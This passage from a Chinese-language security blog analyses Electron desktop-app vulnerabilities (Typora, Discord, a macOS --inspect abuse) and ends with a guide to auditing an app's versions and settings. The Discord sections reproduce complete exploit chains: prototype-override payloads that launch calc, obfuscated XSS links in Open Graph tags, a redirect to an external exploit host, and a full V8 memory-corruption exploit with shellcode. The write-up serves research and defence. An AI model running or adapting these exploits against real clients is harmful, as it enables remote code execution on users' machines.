,这应该是国内的安全研究员发现的
在 <embed>
标签的 src
属性指定 html
,会执行 html
中的 JavaSript
代码,但是代码里是否可以执行 Nodejs
代码就没有描述了,我们可以试试看
继续编辑使其生效,很遗憾没有成功,而且 Typora
直接给提供了开发者工具
跨域的这种请求被拦截了,但是 alert
和 console.log
不会被拦截,如果是白名单拦截的,我觉得可能会更安全一些吧
如果在开发者工具中执行上述代码是可以执行的,也就是说渲染进程依旧具备执行 Nodejs
的能力
补充知识:
<embed>
标签可以定义外部资源的容器,例如网页、图片、媒体播放器或插件应用程序。它能达到的功能现在普遍被各种浏览器弃用,但是标签本身还是受支持的,没想到被用在了这里
其实这也给我们挖掘 XSS
带来了一个思路,去寻找那些属性中就可以执行 JavaScript
或间接执行 JavaScript
的内容,放在 Electron
的 Markdown
编辑器下,会有奇效
这就是截至 2024-04-08
所有包含 CVE
编号的 Typora
漏洞。这里将 Typora
全都看一遍是因为它的漏洞比较有代表性,覆盖得比较广
我必须得给大家提个醒,以后在使用 Electron
开发的 Markdown
编辑器中打开 .md
文件一定要慎重,最好先用记事本之类的程序先打开看看有没有恶意内容,尤其是当它的渲染进程具备执行 Nodejs
的能力的时候,这非常危险
https://discord.com/
这是一款社交类的应用,好像很倾向于社群交流,很多开发者都使用 Discord
构建自己的社群,Discord
的客户端也是用 Electron
开发的
https://mksben.l0.cm/2020/10/discord-desktop-rce.html
https://twitter.com/kinugawamasato
发布时间为 2020年10月17日,
这位博主看起来像是一个偏向前端安全的安全研究员,他的很多文章都是前端的内容,这样他测试 Discord
有了更多的思路,接下来介绍的攻击中,它利用了三个漏洞最终达到了 RCE
的效果
contextIsolation
,即缺少上下文隔离iframe
存在 XSS
漏洞CVE-2020-15174
导航限制绕过第一步也是先解包,之后发现主进程创建窗口时配置如下
可以看到 nodeIntegration: false
,这意味着渲染进程没有调用 Nodejs
的能力,但是也没有设置 contextIsolation
, 由于文章中没有写 Discord
的具体版本,不好去确定 Discord
具体使用的版本,但是博主说在 Discord
使用的 Electron
版本中 contextIsolation
默认为 false
The important options which we should check here are especially nodeIntegration and contextIsolation. From the above code, I found that the nodeIntegration option is set to false and the contextIsolation option is set to false (the default of the used version) in the Discord's main window.
如果 contextIsolation
被禁用,则网页的 JavaScript
可以影响渲染器上 Electron
的内部 JavaScript
代码的执行,以及预加载脚本。
例如,如果使用来自网页的 JavaScript
的另一个函数覆盖 Array.prototype.join
(JavaScript
内置方法之一),则在调用 join
时,网页外部的 JavaScript
代码也将使用覆盖的函数。
经过博主的一番尝试,发现在外部执行 Nodejs
没戏,所以将目光投向 Preload
预加载脚本,这也是没有 bug
情况下的正常逻辑,之后博主发现,预加载脚本中有下面这个方法
DiscordNative.nativeModules.requireModule('MODULE-NAME')
这个方法可以调用模块,但经过测试不能直接使用类似 child_process
这种可以导致 RCE
的模块,于是博主通过覆盖 RegExp.prototype.test
和 Array.prototype.join
两个方法,之后调用 getGPUDriverVersions
的方式执行了 calc
,具体怎么做的呢? 我们可以看下面的代码
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
首先是让 RegExp.prototype.test
返回 false
,之后让 Array.prototype.join
返回 calc
字符串,之后就引入了 discord_utils
模块,并调用了 getGPUDriverVersions()
函数
这里为什么就执行 calc
了呢? getGPUDriverVersions()
内部到底做了什么?
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
} const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
这段代码如果不是劫持环境变量,其实就是固定的,执行 nvidia-smi.exe
,但是经过我们刚才的操作,可能就不是这么回事了
博主只给提供了两个链接及锚点,没有详细说
https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36
https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55
我们看一下这两行到底做了什么
如果应用程序是一个二进制可执行文件,则不需要一个 shell
,也就是 cmd.exe
,这里我们执行的是 calc
, 所以还是需要一个 shell
的,因此我们需要让 needShell
的值为 true
,所以根据我们上面修改的内容,就直接达到了目的
接下来看第二个链接
原来是同一个链接的不同行,这里是获取要执行的具体命令,无论前面怎么变,最后都执行了一个 .join(' ')
,这意味着最终 shellCommand
的值取决于 join
函数的返回结果,我们刚才将结果修改为了 calc
字符串,因此看起来最终会使用 cmd
执行 calc
现在攻击思路有了, PoC
也有了,万事俱备,只欠东风了,东风就是 XSS
,我得有个执行这些代码的机会呀!
接下来就是寻找 XSS
漏洞
这位博主发现,这个程序支持 autolink
和 Markdown
, 所以他将注意力转到了 iframe
嵌入,试图通过嵌入 iframe
来执行上述代码
嵌入 iframe
其实是比较常见功能,例如我们将外站的视频,网页之类的转发到微信聊天界面,微信聊天界面能显示出转发内容的部分信息,例如视频封面,标题等,而不是冰冷的 URL
,这个就属于是 iframe
嵌入,我是说这种功能,微信是不是这么做的暂不得知哈
Discord
支持嵌入 YouTube
内容,当 YouTube URL
被发布时,它会自动在聊天中显示视频播放器。
当 URL
被发布时,Discord
会尝试获取其 OGP
信息,如果有 OGP
信息,它会在聊天中显示页面的标题、描述、缩略图、相关视频等。
Discord
从 OGP
中提取视频 URL
,并且只有当视频 URL
是允许的域并且 URL
实际上具有嵌入页面的 URL
格式时,URL
才会嵌入到 iframe
中。
显然,这种社交类应用不会允许任意 iframe
嵌入,因此作者去检查了允许的域,没有找到说明文档,但是通过查看 CSP
的 frame-src
,结果如下
Content-Security-Policy: [...] ; frame-src
https://*.youtube.com
https://*.twitch.tv
https://open.spotify.com
https://w.soundcloud.com
https://sketchfab.com
https://player.vimeo.com
https://www.funimation.com
https://twitter.com
https://www.google.com/recaptcha/
https://recaptcha.net/recaptcha/
https://js.stripe.com
https://assets.braintreegateway.com
https://checkout.paypal.com
https://*.watchanimeattheoffice.com
之后通过将检查这些域名是否可以被用来做 iframe
嵌入到网页,之后在这些域名的网站中寻找 XSS
,最终在 sketchfab.com
中找到了 XSS
,之前并不了解这个网站,大概是个发布模型的网站,不过博主在其中找到了 XSS
,这样似乎就凑齐了 RCE
攻击链的最后一环
PoC
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta property="og:title" content="RCE DEMO">
<meta property="og:description" content="Description">
<meta property="og:type" content="video">
<meta property="og:image" content="https://l0.cm/img/bg.jpg">
<meta property="og:image:type" content="image/jpg">
<meta property="og:image:width" content="1280">
<meta property="og:image:height" content="720">
<meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1280">
<meta property="og:video:height" content="720">
</head>
<body>
test
</body>
</html>
但事与愿违,虽然找到了 XSS
,但是代码仍然是执行在 iframe
里面,并没有执行在渲染进程里,所以我们没有办法覆盖原本我们想要覆盖的代码,我们仍然需要一个逃逸的操作
不知道开启了
nodeIntegrationInSubFrames
后是不是就不用逃逸了,大家遇到的话可以往这个思路想
接下来就是摆脱 iframe
的束缚,争取逃脱到渲染进程中,一般是通过 iframe
打开一个新窗口或者通过导航,导航到顶部窗口的另一个 URL
作者对相关代码进行分析后发现,在主进程中,使用了 new-window
和 will-navigate
事件来限制了导航的行为
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
e.preventDefault();
if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
} else {
_electron.shell.openExternal(windowURL);
}
});
[...]
mainWindow.webContents.on('will-navigate', (evt, url) => {
if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) {
evt.preventDefault();
}
});
这代码看起来很健硕,能够有效防止我们的企图,但是博主在测试过程中发现了惊人的一幕
CVE-2020-15174
这个惊人的发现是,如果 iframe
的顶部导航 (top.location
) 与 iframe
本身是同源的,则会触发 will-navigate
事件,进而被阻止,但是如果两者是不同源的,就不会触发 will-navigate
事件,这显然是个 Bug
,而且是 Electron
的 Bug
,作者反馈给了 Electron
利用这个漏洞或者叫 Bug
,我们就可以成功绕过导航限制,之后就是使用 iframe
的 XSS
导航到包含 RCE
代码的页面,比如 top.location =”//l0.cm/discord_calc.html
。
<script>
Array.prototype.join=function(){
return "calc";
}
RegExp.prototype.test=function(){
return false;
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
</script>
到这里,大家回忆上面我们介绍 CVE-2020-15174
的时候,应该可以更好的理解了
作者附上了漏洞攻击效果视频
https://youtu.be/0f3RrvC-zGI
https://blog.electrovolt.io/posts/discord-rce/
发布于 2021年7月10日
这位博主应该是专门研究过 Electron
,他发表过一些关于 Electron
漏洞的文章,比较有参考意义
这位博主应该也是比较关注前端安全,之前对 Elecron
不是很了解,但考虑到也是使用 JavaScript
技术,所以就测试了一下
首先也是解包,获取源代码
const mainWindowOptions = {
title: 'Discord',
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
preload: _path.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
contextIsolation: true,
}
};
显然,这次 nodeIntegration
和 contextIsolation
都被正确地设置了,但是博主发现,sandbox
并未显式地设置为 true
,博主检查了一下 Electron
版本,为 9-x-y
,据文中描述,此版本的 Electron
默认 sandbox
为 false
,同时 Chromium
非常老旧 Chrome/83.0.4103.122
,这个版本的 V8
引擎存在很多问题
首先,我们需要找到一个 XSS
由于前端使用的是 ReactJS
,因此找到一个 XSS
并不容易,因此作者受上一篇文章作者的启发,将目光放到了可以嵌入到 Discord
的部分
最终在博主和其伙伴的努力下,在 Vimeo
中发现了一个 XSS
,回看上面的 CSP
列表会找到 Vimeo
。但事情并不是一帆风顺的, Vimeo
网站的 CSP
策略让博主感到头大
Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'
这样的 CSP
配置下,将很难执行外部的 JavaScript
脚本
有趣的是,由于 Discord
的 Chrome
(Chromium
) 版本很旧,于是博主决定使用之前在 crbug.com
上读到的CSP
绕过手法,通过绕过 frame-src
在 vimeo
中加载外部 iframe
https://issues.chromium.org/issues/40053051
通过托管以下 HTML
并在 Discord Chat
中粘贴链接,会在 Vimeo
嵌入中弹出一个警报框。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta property="og:title" content="RCE DEMO">
<meta property="og:description" content="asdasdf<b>Description</b<>">
<meta property="og:type" content="video">
<meta property="og:image" content="https://pbs.twimg.com/profile_images/1313475569426857988/Q0I0VkmF_400x400.jpg">
<meta property="og:image:type" content="image/jpg">
<meta property="og:image:width" content="1280">
<meta property="og:image:height" content="720">
<meta property="og:video:url" content="https://redacted/redacted?redacted=x&redacted=javascript://asd.com?f=1%27%250awindow.open(atob(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(5).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b)).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b))),location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5))//&payload=_selfamF2YXNjcmlwdDonPGlmcmFtZSBzcmNkb2M9IjxpZnJhbWUgc3JjPVwnaHR0cHM6Ly9jdGYuczFyMXVzLm5pbmphL2Rpc2NvcmQvZXhwLmh0bWxcJzs_selfPC9pZnJhbWU_selfIj4n">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1280">
<meta property="og:video:height" content="720">
</head>
<body>
test
</body>
</html>
正当博主以为可以执行 V8
引擎的 Exploit
时,发现在 Discord
中,所有的 iframe
都在沙箱模式下运行,关于这一点,上一篇文章的原文结尾就已经说过了
之后博主得到了上一篇文章中博主的点拨,大概是说由于 Discord
的 new-window
限制不足,因此可以打开新窗口
但是经过博主测试,新窗口仍然具有 sandbox
又经过了一些测试,博主发现,当重定向到一个不同源的地址时, sandbox
属性就会被清除掉,这样就可以实施 V8 Exploit
了
之后博主采用了以下网址的 Exploit
,最终成功弹出了计算器
https://chromium-review.googlesource.com/c/v8/v8/+/2820971
博主也附上了复现视频
https://youtu.be/bWYjWizF2vE
从复现视频来看,博主似乎还是采纳了上一篇文章博主(Masato
)的建议,用了 new-window
,但是不太没有明说,好在视频中的 PoC
地址还有效
view-source:https://ctf.s1r1us.ninja/discord/s1r1us_secretss.html?pasdaasasdadasd
<!DOCTYPE html>
<html>
<head>
<meta name="twitter:player" content="https://player.vimeo.com/video/572419548"> <meta charset="utf-8">
<meta property="og:title" content="RCE DEMO">
<meta property="og:description" content="asdasdf<b>Description</b<>">
<meta property="og:type" content="video">
<meta property="og:image" content="https://pbs.twimg.com/profile_images/1313475569426857988/Q0I0VkmF_400x400.jpg">
<meta property="og:image:type" content="image/jpg">
<meta property="og:image:width" content="1280">
<meta property="og:image:height" content="720">
<meta property="og:video:url" content="https://player.vimeo.com/video/572419548/login/private?success=x&url=javascript://vimeo.com?f=1%27%250awindow.open(atob(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(5).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b)).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b))),location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5))//&payload=_selfamF2YXNjcmlwdDonPGlmcmFtZSBzcmNkb2M9IjxpZnJhbWUgc3JjPVwnaHR0cHM6Ly9jdGYuczFyMXVzLm5pbmphL2Rpc2NvcmQvZXhwLmh0bWxcJzs_selfPC9pZnJhbWU_selfIj4n">
<meta property="og:video:type" content="text/html">
<meta property="og:video:width" content="1280">
<meta property="og:video:height" content="720">
</head>
<body>
test
</body>
</html>
分析这个 PoC
我们得先了解 OGP
是什么
OGP
是 Open Graph Protocol
的简称,翻译过来是开放图谱协议
Open Graph Protocol(OGP)是一种元数据协议,允许网页内容(如文章、图片、视频等)成为社交媒体平台上的丰富“对象”,在这些平台上展示时具有更好的可读性和吸引力。通过在网页
<head>
部分添加特定的 HTML 标签(称为 Open Graph 标签),网站发布者可以控制其内容在 Facebook、Twitter、LinkedIn、Pinterest 等社交网络上分享时的外观和元信息。https://ogp.me/
OGP 使用自定义的 HTML
meta
标签来定义内容的关键属性,常见的标签包括:
og:title: 页面标题,显示在分享卡片的顶部。 og:type: 内容类型,如 "article", "video.movie", "website" 等,用于告知社交平台内容的类别。 og:url: 网页的完整 URL,确保分享链接指向正确的页面。 og:image: 分享卡片的代表性图片 URL,通常是一张缩略图或封面图。 og:description: 页面的简短摘要或描述,提供给用户关于内容的快速概览。 og:video: 对于视频内容,可以指定视频资源的 URL 和其他属性(如 og:video:type
,og:video:width
,og:video:height
)。og:site_name: 网站或应用的名称。 og:locale: 内容的语言和区域设置,格式如 "en_US"。
总之,Open Graph Protocol(OGP)
是一种标准化的元数据规范,用于优化网页内容在社交媒体平台上的分享体验。通过在网页 <head>
部分添加适当的 OGP
标签,网站发布者可以控制其内容在社交网络上的展示样式和相关信息,从而提高分享效果和用户参与度
Discord
支持这种协议,所以我们将一个 PoC URL
发送到聊天窗口时, Discord
会自动接下,博主给出的 PoC
中,自动解析的部分是视频部分
<meta property="og:video:url" content="https://player.vimeo.com/video/572419548/login/private?success=x&url=javascript://vimeo.com?f=1%27%250awindow.open(atob(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(5).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b)).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b))),location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5))//&payload=_selfamF2YXNjcmlwdDonPGlmcmFtZSBzcmNkb2M9IjxpZnJhbWUgc3JjPVwnaHR0cHM6Ly9jdGYuczFyMXVzLm5pbmphL2Rpc2NvcmQvZXhwLmh0bWxcJzs_selfPC9pZnJhbWU_selfIj4n">
视频地址为 https://player.vimeo.com/
的地址,从 url
参数后面是该地址的 XSS
代码
javascript://vimeo.com?f=1'
window.open(atob(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(5).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b)).replace(location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5),String.fromCharCode(0x2b))),location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5))//&payload=_selfamF2YXNjcmlwdDonPGlmcmFtZSBzcmNkb2M9IjxpZnJhbWUgc3JjPVwnaHR0cHM6Ly9jdGYuczFyMXVzLm5pbmphL2Rpc2NvcmQvZXhwLmh0bWxcJzs_selfPC9pZnJhbWU_selfIj4n
继续分析 atob()
,这是一个将 payload
这段字符串中 base64
解码的函数,解析结果为
javascript:'<iframe srcdoc="<iframe src=\'https://ctf.s1r1us.ninja/discord/exp.html\';></iframe>">'
window.open
的第二个参数是
location.search.split(String.fromCharCode(0x26))[2].split(String.fromCharCode(0x3d))[1].substr(0,5)
即 _self
因此,执行的实际为
window.open("javascript:'<iframe srcdoc=\"<iframe src=\'https://ctf.s1r1us.ninja/discord/exp.html\';></iframe>\">'", "_self")
我使用百度进行了测试,确实可以打开窗口,并内嵌页面
我们看一下 exp.html
<html>
<h1>pwn</h1>
<script>
document.body.innerHTML="<button onclick=window.open('https://discord.com/popout','DISCORD_foo').location='http://notctf.s1r1us.ninja/discord/exp2.html'>CLICK ME"
</script>
</html>
果然,这里使用了 Masato
建议的代码,我们看一下 exp2.html
<html>
<button onclick=pwn() >pwn() </button>
<script> let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
function gc() {
for(let i=0; i<((1024 * 1024)/0x10); i++) {
var a = new String();
}
}
//let shellcode = [2.40327734437787e-310, -1.1389104046892079e-244, 3.1731330715403803e+40, 1.9656830452398213e-236, 1.288531947997e-312, 8.3024907661975715e+270, 1.6469439731597732e+93, 9.026845734376378e-308];
let shellcode = [9.782736458425736e-51, 9.3367814805e-312, 2.820954277917551e+42, 3.847852170541779e+112, 4.0663832603688954e-308, -1.3563518167542218e-34, -4.668625785218077e+304, 3.0480232083984794e+77, 2.6420675471324114e-82, 1.170766719674408e+214, 3711142.5723877414, -6.827618880772401e-229];
function pwn() {
/* Prepare RWX */
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let module = new WebAssembly.Module(buffer);
var instance = new WebAssembly.Instance(module);
var exec_shellcode = instance.exports.main;
function f(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
let oob_smi = new Array(Math.sign(0 - Math.max(0, x, -1)));
oob_smi.pop();
let oob_double = [3.14, 3.14];
let arr_addrof = [{}];
let aar_double = [2.17, 2.17];
let www_double = new Float64Array(3);
return [oob_smi, oob_double, arr_addrof, aar_double, www_double];
}
gc();
for (var i = 0; i < 0x10000; ++i) {
f(false);
}
let [oob_smi, oob_double, arr_addrof, aar_double, www_double] = f(true);
console.log("[+] oob_smi.length = " + oob_smi.length);
oob_smi[14] = 0x1234;
console.log("[+] oob_double.length = " + oob_double.length);
let primitive = {
addrof: (obj) => {
arr_addrof[0] = obj;
return (oob_double[8].f2i() >> 32n) - 1n;
},
half_aar64: (addr) => {
oob_double[15] = ((oob_double[15].f2i() & 0xffffffff00000000n)
| ((addr - 0x8n) | 1n)).i2f();
return aar_double[0].f2i();
},
full_aaw: (addr, values) => {
let offset = -1;
for (let i = 0; i < 0x100; i++) {
if (oob_double[i].f2i() == 0x18 && oob_double[i+1].f2i() == 3) {
offset = i+1;
break;
}
}
if (offset == -1) {
console.log("[-] Bad luck!");
return;
} else {
console.log("[+] offset = " + offset);
}
oob_double[offset] = 0x8888n.i2f();
oob_double[offset+1] = addr.i2f();
for (let i = 0; i < values.length; i++) {
www_double[i] = values[i];
}
}
};
console.log(primitive.addrof(oob_double).hex());
let addr_instance = primitive.addrof(instance);
console.log("[+] instance = " + addr_instance.hex());
let addr_shellcode = primitive.half_aar64(addr_instance + 0x68n);
console.log("[+] shellcode = " + addr_shellcode.hex());
primitive.full_aaw(addr_shellcode, shellcode);
console.log("[+] GO");
exec_shellcode();
return;
}
</script>
</html>
这里就是所谓的 V8
引擎的 Exploit
的,所以到这里其实就是绕过了 iframe
的 sandbox
的限制了
所以到这里就清晰了,博主采纳了上一个博主 Masato
的建议,利用了 window.open
的一个问题,即非同源地址会清除掉 sandbox
属性,进而在没有 sandbox
限制的环境下执行 V8
Exploit
导致 RCE
我们可以看一下 new-window
事件的实现到底哪里出了问题
mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => {
e.preventDefault();
if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
} else {
_electron.shell.openExternal(windowURL);
}
});
绕过代码为
<html>
<h1>pwn</h1>
<script>
document.body.innerHTML="<button onclick=window.open('https://discord.com/popout','DISCORD_foo').location='http://notctf.s1r1us.ninja/discord/exp2.html'>CLICK ME"
</script>
</html>
点击 CLICK ME
后,会打开 https://discord.com/popout
,页面名称(frameName
)为 DISCORD_foo
,此时触发 new-window
事件,首先阻止默认执行,之后进入 if
判断
if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) {
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
}
Discord
一看,frameName
好像确实是以 DISCORD_NAMESPACE
这个常量的值为起始的(虽然我们不知道其值,但是 DISCORD_foo
是我们定义的,所以它要什么样的,我就可以模拟什么样的,推测 DISCORD_NAMESPACE
的值为 DISCORD
或 DISCORD_
)
接下来看第二个条件, windowURL
是不是以 WEBAPP_ENDPOINT
常量的值为起始,我们提供的值是 https://discord.com/popout
,是满足的,所以就会进入到执行语句
popoutWindows.openOrFocusWindow(e, windowURL, frameName, options);
进而打开一个没有 sandbox
的窗口,此时还执行了 .location='http://notctf.s1r1us.ninja/discord/exp2.html'
这样就在新的窗口中执行了我们的 V8 Exploit
,成功 RCE
https://github.com/V3x0r/CVE-2024-23739
https://www.youtube.com/watch?v=VWQY5R2A6X8
https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/Wojciech%20Regu%C5%82a%20-%20ELECTRONizing%20macOS%20privacy%20-%20a%20new%20weapon%20in%20your%20red%20teaming%20armory.pdf
这个漏洞其实是一个通用性的漏洞,影响的是所有在 MacOS
上的 Electron
程序,红队利器
之前在DEFCON 31
上一位安全研究员讲述了该漏洞,并给出了检查及利用工具
https://github.com/r3ggi/electroniz3r
这个漏洞是利用了我们上一篇文章中提到的 --inspect
参数远程调试的技巧,但是上一篇文章中我仅仅是用来监听端口,之后任意代码执行,这个工具的作者显然对此研究更深入,因为他是某个公司 MacOS
安全这方面的管理人员,所以对 MacOS
上其带来的影响描述的更加准确细致
利用这类漏洞,可以继承 Electron APP
所拥有的 TCC
权限,可能造成提权,而且如何绕过 MacOS
后续更新中的限制视频中也有所提及,大家看视频会得到更加有效的信息
我们已经分析了 4 款 Electron
程序的几十个漏洞了,如果你还想看看其他的程序之前爆出来的漏洞,可以看看以下程序
Rambox 0.6.9
https://www.cnblogs.com/ly584521/p/13632049.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1889
Jitsi Meet Electron
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25019
https://github.com/jitsi/jitsi-meet-electron/commit/ca1eb702507fdc4400fe21c905a9f85702f92a14
https://security.stackexchange.com/questions/225799
pritunl electron client
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25989
Zulip Desktop
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9443
Boost Note
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41392
UiPath Assistant
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44042
3CX 电话系统管理控制台
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-28005
https://medium.com/@frycos/pwning-3cx-phone-management-backends-from-the-internet-d0096339dd88
WebCatalog
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-42222
SideQuest
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-21625
https://www.electronjs.org/zh/docs/latest/tutorial/security
这个章节内容对很多朋友来说是非常重要的,我只想知道我用的程序安全性怎么样? 使用过程中有哪些需要注意的?
这里以 Yakit
,主要是因为它没有做混淆,比较容易作为案例,版本为 1.3.1-sp6
常规的 Electron
程序会将程序代码打包成 .asar
文件,该文件中通常包含了程序的部分源代码
以 MacOS
为例,Windows
就更加简单了
这部分我们会使用 asar
工具解压应用程序打包的 .asar
文件包,具体安装及使用命令如下
npm install -g @electron/asar
asar extract app.asar ./
找到 asar
文件
应用程序 -> Yakit.app
右键,显示包内容
进入到同级目录,使用 asar
进行解包
npx asar extract app.asar ../dist_version
这样可以将 app.asar
解包到上级目录的 dist_version
目录
该应用程序使用的依赖包列表在 package.json
中
{
"name": "yakit",
"version": "1.3.1-sp6",
"description": "Yakit is for yaklang.io Electron GUI Entry",
"main": "app/main/index.js",
"author": "",
"license": "ISC",
"dependencies": {
"@grpc/grpc-js": "^1.3.6",
"@grpc/proto-loader": "^0.6.4",
"axios": "^0.26.1",
"chrome-launcher": "^0.15.0",
"compressing": "^1.8.0",
"dompurify": "^3.0.5",
"electron-is-dev": "^2.0.0",
"electron-updater": "^4.3.9",
"electron-window-state": "^5.0.3",
"form-data": "^4.0.0",
"fs-extra": "11.1.1",
"google-protobuf": "^3.17.3",
"js-base64": "^3.7.5",
"node-stream-zip": "^1.15.0",
"node-xlsx": "^0.21.0",
"process": "^0.11.10",
"request": "^2.88.2",
"request-progress": "^3.0.0",
"sudo-prompt": "^9.2.1",
"tree-kill": "^1.2.2"
}
}
我们可以手动搜索看看是否存在包含漏洞版本的依赖包,当然也可以通过 npm
来完成
npm audit
该命令会根据统计目录下的 package.json
及 package-lock.json
等文件自动进行成分分析
首次执行会报错,可以通过官方的提示进行处理
npm i --package-lock-only
继续执行 npm audit
可以看到,其中包含 10
个漏洞,其中 6
个中危、2
个高危、2
个严重
这其实就是 SCA
的工作,即软件成分分析,大家可以根据漏洞情况评估一下是否对我们的使用产生影响
当然,搞漏洞挖掘的师傅和软件开发者更应该好好关注一下
如果应用程序开启了
nodeIntegration
,那一定要注意 dompurify 这种负责过滤有害javascript
代码的程序的版本,低版本可能会被绕过
很多程序虽然看起来非常精美,但实际上可能使用着非常老旧的 Electron
版本,那就意味着使用者要承担旧版本 Electron
和 旧版本 Chromium
带来的风险
某些程序可能会将 electron
版本打包进 package.json
及其相关文件中,Yakit
就将 Electron
版本加入到了 package.json.pre-commit.bak
文件中,但这很少见,也不见得准确,可以使用以下命令进行查找
grep -rn "electron\":"
grep -rn "electron\" :"
可以看到这里标记的 Electron
版本为 13.1.7
远程调试的利用 https://mp.weixin.qq.com/s/C2frOpRWwaF_IBcEg-6YIQ
上一篇文章写的《远程调试的利用》正好可以被用来干这件事
./Yakit --inspect="0.0.0.0:5555"
可执行文件位置为
应用程序 -> Yakit.app -> Contects -> MacOS
使用 chrome
等浏览器进行远程调试
chrome://inspect/#
配置远程调试刚才的监听
在终端窗口中输入以下指令
process.versions.electron
这里可以获取到准确的 Electron
版本,可以看到,版本是 27.0.0
通过 process.versions
可以看到更多程序的版本
后面还有更简单的方法
https://releases.electronjs.org/releases/stable
这里可以看到版本发布说明,这里可以看到每个版本修复的漏洞,进而对比当前版本是否存在漏洞
https://www.electronjs.org/zh/docs/latest/tutorial/security#2-%E4%B8%8D%E8%A6%81%E4%B8%BA%E8%BF%9C%E7%A8%8B%E5%86%85%E5%AE%B9%E5%90%AF%E7%94%A8-nodejs-%E9%9B%86%E6%88%90
这个属性是主进程创建渲染进程窗口控制渲染进程是否具备执行 NodeJs
的能力,如果该属性设置为 true
,渲染进程一旦出现 XSS
等漏洞,能够执行 Javascript
代码,就会导致 RCE
漏洞
这个特性在 5.0
版本开始默认设置为 false
, Electron
中通过 IPC
通信,可以让渲染进程执行开发者自定义的功能,这种通信更加安全,绝不推荐开启 nodeIntegration
功能
在之前的内容中,Typora
和蚁剑就开启了该选项
对于 Typora
来说,如果其出现 XSS
漏洞,其用户打开恶意的 markdown
文件或者将恶意的 Markdown
内容复制粘贴到 Typora
就会被攻击,因此我建议大家在打开 Markdown
